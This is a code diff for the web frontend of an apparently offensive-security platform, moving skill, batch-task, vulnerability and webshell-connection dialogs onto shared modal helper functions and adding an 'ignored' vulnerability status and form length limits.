document.getElementById('skill-name').disabled = true;
document.getElementById('skill-description').value = '';
const ta = document.getElementById('skill-content');
if (ta) ta.value = '';
openAppModal('skill-modal', { focus: false });
try { try {
const [detailRes, filesRes] = await Promise.all([ const [detailRes, filesRes] = await Promise.all([
apiFetch(`/api/skills/${encodeURIComponent(skillId)}?depth=full`), apiFetch(`/api/skills/${encodeURIComponent(skillId)}?depth=full`),
@@ -565,39 +581,24 @@ async function editSkill(skillId) {
} }
const data = await detailRes.json(); const data = await detailRes.json();
const skill = data.skill; const skill = data.skill;
let files = [];
const modal = document.getElementById('skill-modal');
if (!modal) return;
skillModalAddMode = false;
skillFileDirty = false;
skillActivePath = 'SKILL.md';
const pkg = document.getElementById('skill-package-editor');
const addEd = document.getElementById('skill-add-editor');
if (pkg) pkg.style.display = 'block';
if (addEd) addEd.style.display = 'none';
document.getElementById('skill-modal-title').textContent = _t('skills.editSkill');
document.getElementById('skill-name').value = skill.id || skillId;
document.getElementById('skill-name').disabled = true;
document.getElementById('skill-description').value = skill.description || '';
if (filesRes.ok) { if (filesRes.ok) {
const fd = await filesRes.json(); const fd = await filesRes.json();
skillPackageFiles = fd.files || []; files = fd.files || [];
} else {
skillPackageFiles = [];
} }
renderSkillPackageTree();
const ta = document.getElementById('skill-content');
if (ta) ta.value = skill.content || '';
const hint = document.getElementById('skill-body-hint-edit');
if (hint) hint.style.display = 'block';
currentEditingSkillName = skillId; currentEditingSkillName = skillId;
modal.style.display = 'flex'; deferModalContent(() => {
document.getElementById('skill-name').value = skill.id || skillId;
document.getElementById('skill-description').value = skill.description || '';
skillPackageFiles = files;
renderSkillPackageTree();
if (ta) ta.value = skill.content || '';
const hint = document.getElementById('skill-body-hint-edit');
if (hint) hint.style.display = 'block';
document.getElementById('skill-name')?.focus();
});
} catch (error) { } catch (error) {
closeSkillModal();
console.error('加载skill详情失败:', error); console.error('加载skill详情失败:', error);
showNotification(_t('skills.loadDetailFailed') + ': ' + error.message, 'error'); showNotification(_t('skills.loadDetailFailed') + ': ' + error.message, 'error');
} }
@@ -659,7 +660,7 @@ async function viewSkill(skillId) {
</div> </div>
`; `;
document.body.appendChild(modal); document.body.appendChild(modal);
modal.style.display = 'flex'; openAppModal(modal);
const close = () => closeSkillViewModal(); const close = () => closeSkillViewModal();
modal.querySelectorAll('[data-skill-view-close]').forEach(el => el.addEventListener('click', close)); modal.querySelectorAll('[data-skill-view-close]').forEach(el => el.addEventListener('click', close));
@@ -691,23 +692,22 @@ async function viewSkill(skillId) {
// 关闭查看模态框 // 关闭查看模态框
function closeSkillViewModal() { function closeSkillViewModal() {
closeAppModal('skill-view-modal');
const modal = document.getElementById('skill-view-modal'); const modal = document.getElementById('skill-view-modal');
if (modal) { if (modal) {
modal.remove(); modal.remove();
syncAppModalBodyLock();
} }
} }
// 关闭skill模态框 // 关闭skill模态框
function closeSkillModal() { function closeSkillModal() {
const modal = document.getElementById('skill-modal'); closeAppModal('skill-modal');
if (modal) { currentEditingSkillName = null;
modal.style.display = 'none'; skillModalAddMode = true;
currentEditingSkillName = null; skillFileDirty = false;
skillModalAddMode = true; skillPackageFiles = [];
skillFileDirty = false; skillActivePath = 'SKILL.md';
skillPackageFiles = [];
skillActivePath = 'SKILL.md';
}
} }
// 保存skill // 保存skill
+18 -25
View File
@@ -914,18 +914,14 @@ async function showBatchImportModal() {
} }
} }
await refreshBatchProjectSelectOptions(); await refreshBatchProjectSelectOptions();
modal.style.display = 'block'; openAppModal('batch-import-modal', { focusEl: input });
input.focus();
} }
} }
// 关闭新建任务模态框 // 关闭新建任务模态框
function closeBatchImportModal() { function closeBatchImportModal() {
const modal = document.getElementById('batch-import-modal'); closeAppModal('batch-import-modal');
if (modal) {
modal.style.display = 'none';
}
} }
function handleBatchScheduleModeChange() { function handleBatchScheduleModeChange() {
@@ -1350,7 +1346,13 @@ async function showBatchQueueDetail(queueId) {
const addTaskBtn = document.getElementById('batch-queue-add-task-btn'); const addTaskBtn = document.getElementById('batch-queue-add-task-btn');
if (!modal || !content) return; if (!modal || !content) return;
const alreadyOpen = isAppModalOpen('batch-queue-detail-modal');
if (!alreadyOpen) {
if (content) content.innerHTML = '<p style="color:#64748b;margin:0;">…</p>';
openAppModal('batch-queue-detail-modal', { focus: false });
}
try { try {
// 加载角色列表(如果还未加载) // 加载角色列表(如果还未加载)
let loadedRoles = []; let loadedRoles = [];
@@ -1459,6 +1461,7 @@ async function showBatchQueueDetail(queueId) {
const sameQueueAsBefore = prevDetailFor === queue.id; const sameQueueAsBefore = prevDetailFor === queue.id;
const savedTechDetailsOpen = sameQueueAsBefore && !!(prevTechDetails && prevTechDetails.open); const savedTechDetailsOpen = sameQueueAsBefore && !!(prevTechDetails && prevTechDetails.open);
deferModalContent(function () {
content.innerHTML = ` content.innerHTML = `
<div class="batch-queue-detail-layout" data-bq-detail-for="${escapeHtml(queue.id)}"> <div class="batch-queue-detail-layout" data-bq-detail-for="${escapeHtml(queue.id)}">
<section class="batch-queue-detail-hero"> <section class="batch-queue-detail-hero">
@@ -1529,8 +1532,7 @@ async function showBatchQueueDetail(queueId) {
if (newTechDetails && savedTechDetailsOpen) { if (newTechDetails && savedTechDetailsOpen) {
newTechDetails.open = true; newTechDetails.open = true;
} }
});
modal.style.display = 'block';
// 仅运行中定时拉取详情;其它状态应停止,避免 innerHTML 重绘把 <details> 等 UI 打回默认态 // 仅运行中定时拉取详情;其它状态应停止,避免 innerHTML 重绘把 <details> 等 UI 打回默认态
if (queue.status === 'running') { if (queue.status === 'running') {
@@ -1540,6 +1542,7 @@ async function showBatchQueueDetail(queueId) {
} }
} catch (error) { } catch (error) {
console.error('获取队列详情失败:', error); console.error('获取队列详情失败:', error);
closeBatchQueueDetailModal();
alert(_t('tasks.getQueueDetailFailed') + ': ' + error.message); alert(_t('tasks.getQueueDetailFailed') + ': ' + error.message);
} }
} }
@@ -1708,10 +1711,7 @@ async function deleteBatchQueueFromList(queueId) {
// 关闭批量任务队列详情模态框 // 关闭批量任务队列详情模态框
function closeBatchQueueDetailModal() { function closeBatchQueueDetailModal() {
const modal = document.getElementById('batch-queue-detail-modal'); closeAppModal('batch-queue-detail-modal');
if (modal) {
modal.style.display = 'none';
}
batchQueuesState.currentQueueId = null; batchQueuesState.currentQueueId = null;
stopBatchQueueRefresh(); stopBatchQueueRefresh();
} }
@@ -1730,7 +1730,7 @@ function startBatchQueueRefresh(queueId) {
content.querySelector('.bq-inline-edit-controls') || content.querySelector('.bq-inline-edit-controls') ||
content.querySelector('.batch-task-inline-edit') content.querySelector('.batch-task-inline-edit')
); );
if ((addModal && addModal.style.display === 'block') || hasInlineEdit) { if ((addModal && isAppModalOpen('add-batch-task-modal')) || hasInlineEdit) {
return; return;
} }
if (batchQueuesState._bqDetailRefreshing) { if (batchQueuesState._bqDetailRefreshing) {
@@ -1891,12 +1891,7 @@ function showAddBatchTaskModal() {
} }
messageInput.value = ''; messageInput.value = '';
modal.style.display = 'block'; openAppModal('add-batch-task-modal', { focusEl: messageInput });
// 聚焦到输入框
setTimeout(() => {
messageInput.focus();
}, 100);
// 清理旧的事件监听器 // 清理旧的事件监听器
if (showAddBatchTaskModal._escHandler) { if (showAddBatchTaskModal._escHandler) {
@@ -1940,9 +1935,7 @@ function closeAddBatchTaskModal() {
} }
const modal = document.getElementById('add-batch-task-modal'); const modal = document.getElementById('add-batch-task-modal');
const messageInput = document.getElementById('add-task-message'); const messageInput = document.getElementById('add-task-message');
if (modal) { closeAppModal('add-batch-task-modal');
modal.style.display = 'none';
}
if (messageInput) { if (messageInput) {
messageInput.value = ''; messageInput.value = '';
} }
@@ -2462,7 +2455,7 @@ document.addEventListener('languagechange', function () {
const detailModal = document.getElementById('batch-queue-detail-modal'); const detailModal = document.getElementById('batch-queue-detail-modal');
if ( if (
detailModal && detailModal &&
detailModal.style.display === 'block' && isAppModalOpen('batch-queue-detail-modal') &&
batchQueuesState.currentQueueId batchQueuesState.currentQueueId
) { ) {
showBatchQueueDetail(batchQueuesState.currentQueueId); showBatchQueueDetail(batchQueuesState.currentQueueId);
+26 -26
View File
@@ -33,7 +33,8 @@ function vulnStatusLabel(code) {
open: 'vulnerabilityPage.statusOpen', open: 'vulnerabilityPage.statusOpen',
confirmed: 'vulnerabilityPage.statusConfirmed', confirmed: 'vulnerabilityPage.statusConfirmed',
fixed: 'vulnerabilityPage.statusFixed', fixed: 'vulnerabilityPage.statusFixed',
false_positive: 'vulnerabilityPage.statusFalsePositive' false_positive: 'vulnerabilityPage.statusFalsePositive',
ignored: 'vulnerabilityPage.statusIgnored'
}; };
return m[code] ? vulnT(m[code]) : code; return m[code] ? vulnT(m[code]) : code;
} }
@@ -1089,37 +1090,36 @@ async function showAddVulnerabilityModal() {
document.getElementById('vulnerability-impact').value = ''; document.getElementById('vulnerability-impact').value = '';
document.getElementById('vulnerability-recommendation').value = ''; document.getElementById('vulnerability-recommendation').value = '';
document.getElementById('vulnerability-modal').style.display = 'block'; openAppModal('vulnerability-modal');
} }
// 编辑漏洞 // 编辑漏洞
async function editVulnerability(id) { async function editVulnerability(id) {
try { try {
const response = await apiFetch(`/api/vulnerabilities/${id}`);
if (!response.ok) throw new Error(vulnT('vulnerabilityPage.fetchFailed'));
const vuln = await response.json();
currentVulnerabilityId = id; currentVulnerabilityId = id;
document.getElementById('vulnerability-modal-title').textContent = vulnT('vulnerability.editVuln'); document.getElementById('vulnerability-modal-title').textContent = vulnT('vulnerability.editVuln');
openAppModal('vulnerability-modal', { focus: false });
// 填充表单 const response = await apiFetch(`/api/vulnerabilities/${id}`);
document.getElementById('vulnerability-conversation-id').value = vuln.conversation_id || ''; if (!response.ok) throw new Error(vulnT('vulnerabilityPage.fetchFailed'));
document.getElementById('vulnerability-conversation-tag').value = vuln.conversation_tag || ''; const vuln = await response.json();
document.getElementById('vulnerability-task-tag').value = vuln.task_tag || ''; deferModalContent(async () => {
document.getElementById('vulnerability-title').value = vuln.title || ''; document.getElementById('vulnerability-conversation-id').value = vuln.conversation_id || '';
document.getElementById('vulnerability-description').value = vuln.description || ''; document.getElementById('vulnerability-conversation-tag').value = vuln.conversation_tag || '';
document.getElementById('vulnerability-severity').value = vuln.severity || ''; document.getElementById('vulnerability-task-tag').value = vuln.task_tag || '';
document.getElementById('vulnerability-status').value = vuln.status || 'open'; document.getElementById('vulnerability-title').value = vuln.title || '';
document.getElementById('vulnerability-type').value = vuln.type || ''; document.getElementById('vulnerability-description').value = vuln.description || '';
document.getElementById('vulnerability-target').value = vuln.target || ''; document.getElementById('vulnerability-severity').value = vuln.severity || '';
document.getElementById('vulnerability-proof').value = vuln.proof || ''; document.getElementById('vulnerability-status').value = vuln.status || 'open';
document.getElementById('vulnerability-impact').value = vuln.impact || ''; document.getElementById('vulnerability-type').value = vuln.type || '';
document.getElementById('vulnerability-recommendation').value = vuln.recommendation || ''; document.getElementById('vulnerability-target').value = vuln.target || '';
document.getElementById('vulnerability-proof').value = vuln.proof || '';
await populateVulnerabilityModalProjectSelect(vuln.project_id || ''); document.getElementById('vulnerability-impact').value = vuln.impact || '';
document.getElementById('vulnerability-recommendation').value = vuln.recommendation || '';
document.getElementById('vulnerability-modal').style.display = 'block'; await populateVulnerabilityModalProjectSelect(vuln.project_id || '');
document.getElementById('vulnerability-title')?.focus();
});
} catch (error) { } catch (error) {
closeVulnerabilityModal();
console.error('加载漏洞失败:', error); console.error('加载漏洞失败:', error);
alert(vulnT('vulnerability.loadFailed') + ': ' + error.message); alert(vulnT('vulnerability.loadFailed') + ': ' + error.message);
} }
@@ -1232,7 +1232,7 @@ async function deleteVulnerability(id) {
// 关闭漏洞模态框 // 关闭漏洞模态框
function closeVulnerabilityModal() { function closeVulnerabilityModal() {
document.getElementById('vulnerability-modal').style.display = 'none'; closeAppModal('vulnerability-modal');
currentVulnerabilityId = null; currentVulnerabilityId = null;
} }
@@ -1748,7 +1748,7 @@ async function refreshVulnerabilityProjectFilter() {
sel.innerHTML = html; sel.innerHTML = html;
if (cur) sel.value = cur; if (cur) sel.value = cur;
const modalSel = document.getElementById('vulnerability-project-id'); const modalSel = document.getElementById('vulnerability-project-id');
if (modalSel && document.getElementById('vulnerability-modal')?.style.display === 'block') { if (modalSel && isAppModalOpen('vulnerability-modal')) {
const modalCur = modalSel.value || ''; const modalCur = modalSel.value || '';
modalSel.innerHTML = buildVulnerabilityProjectOptionsHtml(modalCur); modalSel.innerHTML = buildVulnerabilityProjectOptionsHtml(modalCur);
modalSel.value = modalCur; modalSel.value = modalCur;
+27 -22
View File
@@ -2301,10 +2301,14 @@ function selectWebshell(id, stateReady) {
function setDbProfileModalVisible(visible, mode) { function setDbProfileModalVisible(visible, mode) {
if (!dbProfileModalEl) return; if (!dbProfileModalEl) return;
dbProfileModalEl.style.display = visible ? 'block' : 'none'; if (visible) {
if (dbProfileModalTitleEl) { if (dbProfileModalTitleEl) {
if (mode === 'add') dbProfileModalTitleEl.textContent = wsT('webshell.dbAddProfile') || '新增连接'; if (mode === 'add') dbProfileModalTitleEl.textContent = wsT('webshell.dbAddProfile') || '新增连接';
else dbProfileModalTitleEl.textContent = wsT('webshell.editConnectionTitle') || '编辑连接'; else dbProfileModalTitleEl.textContent = wsT('webshell.editConnectionTitle') || '编辑连接';
}
openAppModal(dbProfileModalEl);
} else {
closeAppModal(dbProfileModalEl);
} }
} }
@@ -4369,37 +4373,38 @@ function showAddWebshellModal() {
var titleEl = document.getElementById('webshell-modal-title'); var titleEl = document.getElementById('webshell-modal-title');
if (titleEl) titleEl.textContent = wsT('webshell.addConnection'); if (titleEl) titleEl.textContent = wsT('webshell.addConnection');
var modal = document.getElementById('webshell-modal'); var modal = document.getElementById('webshell-modal');
if (modal) modal.style.display = 'block'; if (modal) openAppModal(modal);
} }
// 打开编辑连接弹窗(预填当前连接信息) // 打开编辑连接弹窗(预填当前连接信息)
function showEditWebshellModal(connId) { function showEditWebshellModal(connId) {
var conn = webshellConnections.find(function (c) { return c.id === connId; }); var conn = webshellConnections.find(function (c) { return c.id === connId; });
if (!conn) return; if (!conn) return;
var editIdEl = document.getElementById('webshell-edit-id');
if (editIdEl) editIdEl.value = conn.id;
document.getElementById('webshell-url').value = conn.url || '';
document.getElementById('webshell-password').value = conn.password || '';
document.getElementById('webshell-type').value = conn.type || 'php';
document.getElementById('webshell-method').value = (conn.method || 'post').toLowerCase();
document.getElementById('webshell-cmd-param').value = conn.cmdParam || '';
var osEditEl = document.getElementById('webshell-os');
if (osEditEl) osEditEl.value = normalizeWebshellOS(conn.os);
var encEditEl = document.getElementById('webshell-encoding');
if (encEditEl) encEditEl.value = normalizeWebshellEncoding(conn.encoding);
document.getElementById('webshell-remark').value = conn.remark || '';
var titleEl = document.getElementById('webshell-modal-title'); var titleEl = document.getElementById('webshell-modal-title');
if (titleEl) titleEl.textContent = wsT('webshell.editConnectionTitle'); if (titleEl) titleEl.textContent = wsT('webshell.editConnectionTitle');
var modal = document.getElementById('webshell-modal'); openAppModal('webshell-modal', { focus: false });
if (modal) modal.style.display = 'block'; deferModalContent(function () {
var editIdEl = document.getElementById('webshell-edit-id');
if (editIdEl) editIdEl.value = conn.id;
document.getElementById('webshell-url').value = conn.url || '';
document.getElementById('webshell-password').value = conn.password || '';
document.getElementById('webshell-type').value = conn.type || 'php';
document.getElementById('webshell-method').value = (conn.method || 'post').toLowerCase();
document.getElementById('webshell-cmd-param').value = conn.cmdParam || '';
var osEditEl = document.getElementById('webshell-os');
if (osEditEl) osEditEl.value = normalizeWebshellOS(conn.os);
var encEditEl = document.getElementById('webshell-encoding');
if (encEditEl) encEditEl.value = normalizeWebshellEncoding(conn.encoding);
document.getElementById('webshell-remark').value = conn.remark || '';
document.getElementById('webshell-url')?.focus();
});
} }
// 关闭弹窗 // 关闭弹窗
function closeWebshellModal() { function closeWebshellModal() {
var editIdEl = document.getElementById('webshell-edit-id'); var editIdEl = document.getElementById('webshell-edit-id');
if (editIdEl) editIdEl.value = ''; if (editIdEl) editIdEl.value = '';
var modal = document.getElementById('webshell-modal'); closeAppModal('webshell-modal');
if (modal) modal.style.display = 'none';
} }
// 语言切换时刷新 WebShell 页面内所有由 JS 生成的文案(不重建终端) // 语言切换时刷新 WebShell 页面内所有由 JS 生成的文案(不重建终端)
@@ -4571,7 +4576,7 @@ function refreshWebshellUIOnLanguageChange() {
} }
var modal = document.getElementById('webshell-modal'); var modal = document.getElementById('webshell-modal');
if (modal && modal.style.display === 'block') { if (modal && isAppModalOpen('webshell-modal')) {
var titleEl = document.getElementById('webshell-modal-title'); var titleEl = document.getElementById('webshell-modal-title');
var editIdEl = document.getElementById('webshell-edit-id'); var editIdEl = document.getElementById('webshell-edit-id');
if (titleEl) { if (titleEl) {
+36 -14
View File
@@ -9,6 +9,7 @@
<link rel="stylesheet" href="/static/css/style.css"> <link rel="stylesheet" href="/static/css/style.css">
<link rel="stylesheet" href="/static/css/c2.css"> <link rel="stylesheet" href="/static/css/c2.css">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/xterm@4.19.0/css/xterm.css"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/xterm@4.19.0/css/xterm.css">
<script src="/static/js/router.js"></script>
</head> </head>
<body> <body>
<div id="login-overlay" class="login-overlay" style="display: none;"> <div id="login-overlay" class="login-overlay" style="display: none;">
@@ -1471,18 +1472,20 @@
<div class="projects-detail-inner" id="projects-detail-inner" hidden> <div class="projects-detail-inner" id="projects-detail-inner" hidden>
<header class="projects-detail-header"> <header class="projects-detail-header">
<div class="projects-detail-header-main"> <div class="projects-detail-header-main">
<div class="projects-detail-title-row"> <div class="projects-detail-headline">
<h3 id="projects-detail-title" class="projects-detail-title" data-i18n="projects.defaultProjectName">项目</h3> <div class="projects-detail-title-group">
<span id="projects-detail-status" class="projects-status-pill projects-status-pill--active" data-i18n="projects.statusActive">进行中</span> <h3 id="projects-detail-title" class="projects-detail-title" data-i18n="projects.defaultProjectName">项目</h3>
<span id="projects-detail-status" class="projects-status-pill projects-status-pill--active" data-i18n="projects.statusActive">进行中</span>
</div>
<div class="projects-detail-stats" id="projects-detail-stats">
<span class="projects-stat-chip projects-stat-chip--facts" id="project-stat-facts">0 条事实</span>
<span class="projects-stat-chip projects-stat-chip--vulns" id="project-stat-vulns">0 个漏洞</span>
<span class="projects-stat-chip projects-stat-chip--conversations" id="project-stat-conversations">0 个对话</span>
<span class="projects-stat-chip projects-stat-chip--warn" id="project-stat-sparse" hidden>0 待补全</span>
</div>
</div> </div>
<p id="projects-detail-meta" class="projects-detail-meta"></p> <p id="projects-detail-meta" class="projects-detail-meta"></p>
<p id="projects-detail-desc" class="projects-detail-desc"></p> <p id="projects-detail-desc" class="projects-detail-desc" hidden></p>
<div class="projects-detail-stats" id="projects-detail-stats">
<span class="projects-stat-chip" id="project-stat-facts">0 条事实</span>
<span class="projects-stat-chip" id="project-stat-vulns">0 个漏洞</span>
<span class="projects-stat-chip" id="project-stat-conversations">0 个对话</span>
<span class="projects-stat-chip projects-stat-chip--warn" id="project-stat-sparse" hidden>0 待补全</span>
</div>
</div> </div>
<div class="projects-detail-header-actions"> <div class="projects-detail-header-actions">
<button type="button" class="btn-secondary btn-small" onclick="openVulnerabilitiesForProject()" data-i18n="projects.vulnerabilityManagement">漏洞管理</button> <button type="button" class="btn-secondary btn-small" onclick="openVulnerabilitiesForProject()" data-i18n="projects.vulnerabilityManagement">漏洞管理</button>
@@ -1613,6 +1616,7 @@
<option value="confirmed" data-i18n="vulnerabilityPage.statusConfirmed">已确认</option> <option value="confirmed" data-i18n="vulnerabilityPage.statusConfirmed">已确认</option>
<option value="fixed" data-i18n="vulnerabilityPage.statusFixed">已修复</option> <option value="fixed" data-i18n="vulnerabilityPage.statusFixed">已修复</option>
<option value="false_positive" data-i18n="vulnerabilityPage.statusFalsePositive">误报</option> <option value="false_positive" data-i18n="vulnerabilityPage.statusFalsePositive">误报</option>
<option value="ignored" data-i18n="vulnerabilityPage.statusIgnored">已忽略</option>
</select> </select>
</label> </label>
</div> </div>
@@ -1668,7 +1672,8 @@
</div> </div>
<div class="projects-form-field"> <div class="projects-form-field">
<label for="project-edit-description" data-i18n="projects.projectDescription">描述</label> <label for="project-edit-description" data-i18n="projects.projectDescription">描述</label>
<textarea id="project-edit-description" class="form-input" rows="3" placeholder="测试目标、授权范围、联系人、注意事项…" data-i18n="projects.editDescriptionPlaceholder" data-i18n-attr="placeholder"></textarea> <textarea id="project-edit-description" class="form-input projects-description-textarea" rows="3" maxlength="4000" placeholder="测试目标、授权范围、联系人、注意事项…" data-i18n="projects.editDescriptionPlaceholder" data-i18n-attr="placeholder"></textarea>
<small class="form-hint" data-i18n="projects.descriptionLengthHint">简要说明即可(最多 4000 字);大段日志/POC 请写入事实黑板 body</small>
</div> </div>
</div> </div>
</section> </section>
@@ -1811,6 +1816,7 @@
<option value="confirmed" data-i18n="vulnerabilityPage.statusConfirmed">已确认</option> <option value="confirmed" data-i18n="vulnerabilityPage.statusConfirmed">已确认</option>
<option value="fixed" data-i18n="vulnerabilityPage.statusFixed">已修复</option> <option value="fixed" data-i18n="vulnerabilityPage.statusFixed">已修复</option>
<option value="false_positive" data-i18n="vulnerabilityPage.statusFalsePositive">误报</option> <option value="false_positive" data-i18n="vulnerabilityPage.statusFalsePositive">误报</option>
<option value="ignored" data-i18n="vulnerabilityPage.statusIgnored">已忽略</option>
</select> </select>
</label> </label>
<div class="vulnerability-filter-actions"> <div class="vulnerability-filter-actions">
@@ -3775,6 +3781,20 @@
</div> </div>
</div> </div>
<!-- 项目列表操作菜单 -->
<div id="projects-list-action-menu" class="context-menu" style="display: none;" role="menu">
<div id="projects-list-menu-edit" class="context-menu-item" onclick="editProjectFromListMenu()">
<span id="projects-list-menu-edit-text"></span>
</div>
<div id="projects-list-menu-archive" class="context-menu-item" onclick="toggleProjectArchiveFromListMenu()">
<span id="projects-list-menu-archive-text"></span>
</div>
<div class="context-menu-divider"></div>
<div class="context-menu-item context-menu-item-danger" onclick="deleteProjectFromListMenu()">
<span id="projects-list-menu-delete-text"></span>
</div>
</div>
<!-- 新建任务模态框 --> <!-- 新建任务模态框 -->
<div id="batch-import-modal" class="modal"> <div id="batch-import-modal" class="modal">
<div class="modal-content" style="max-width: 800px;"> <div class="modal-content" style="max-width: 800px;">
@@ -3943,6 +3963,7 @@
<option value="confirmed" data-i18n="vulnerabilityModal.statusConfirmed">已确认</option> <option value="confirmed" data-i18n="vulnerabilityModal.statusConfirmed">已确认</option>
<option value="fixed" data-i18n="vulnerabilityModal.statusFixed">已修复</option> <option value="fixed" data-i18n="vulnerabilityModal.statusFixed">已修复</option>
<option value="false_positive" data-i18n="vulnerabilityModal.statusFalsePositive">误报</option> <option value="false_positive" data-i18n="vulnerabilityModal.statusFalsePositive">误报</option>
<option value="ignored" data-i18n="vulnerabilityModal.statusIgnored">已忽略</option>
</select> </select>
</div> </div>
<div class="form-group"> <div class="form-group">
@@ -4152,11 +4173,12 @@
<div class="projects-modal-body"> <div class="projects-modal-body">
<div class="projects-form-field"> <div class="projects-form-field">
<label for="project-modal-name" data-i18n="projects.projectName">项目名称 <span class="required">*</span></label> <label for="project-modal-name" data-i18n="projects.projectName">项目名称 <span class="required">*</span></label>
<input type="text" id="project-modal-name" class="form-input" placeholder="例如:某客户 Web 渗透" autocomplete="off" data-i18n="projects.projectNamePlaceholder" data-i18n-attr="placeholder"> <input type="text" id="project-modal-name" class="form-input" maxlength="200" placeholder="例如:某客户 Web 渗透" autocomplete="off" data-i18n="projects.projectNamePlaceholder" data-i18n-attr="placeholder">
</div> </div>
<div class="projects-form-field"> <div class="projects-form-field">
<label for="project-modal-description" data-i18n="projects.projectDescription">项目描述</label> <label for="project-modal-description" data-i18n="projects.projectDescription">项目描述</label>
<textarea id="project-modal-description" class="form-input" rows="4" placeholder="测试范围、授权边界、注意事项…" data-i18n="projects.projectDescriptionPlaceholder" data-i18n-attr="placeholder"></textarea> <textarea id="project-modal-description" class="form-input projects-description-textarea" rows="4" maxlength="4000" placeholder="测试范围、授权边界、注意事项…" data-i18n="projects.projectDescriptionPlaceholder" data-i18n-attr="placeholder"></textarea>
<small class="form-hint" data-i18n="projects.descriptionLengthHint">简要说明即可(最多 4000 字);大段日志/POC 请写入事实黑板 body</small>
</div> </div>
</div> </div>
<div class="projects-modal-footer"> <div class="projects-modal-footer">
@@ -4269,9 +4291,9 @@
<script src="/static/js/i18n.js"></script> <script src="/static/js/i18n.js"></script>
<script src="/static/js/builtin-tools.js"></script> <script src="/static/js/builtin-tools.js"></script>
<script src="/static/js/auth.js"></script> <script src="/static/js/auth.js"></script>
<script src="/static/js/modal.js"></script>
<script src="/static/js/notifications.js"></script> <script src="/static/js/notifications.js"></script>
<script src="/static/js/info-collect.js"></script> <script src="/static/js/info-collect.js"></script>
<script src="/static/js/router.js"></script>
<script src="/static/js/agents.js"></script> <script src="/static/js/agents.js"></script>
<script src="/static/js/dashboard.js"></script> <script src="/static/js/dashboard.js"></script>
<script src="/static/js/chat-scroll.js"></script> <script src="/static/js/chat-scroll.js"></script>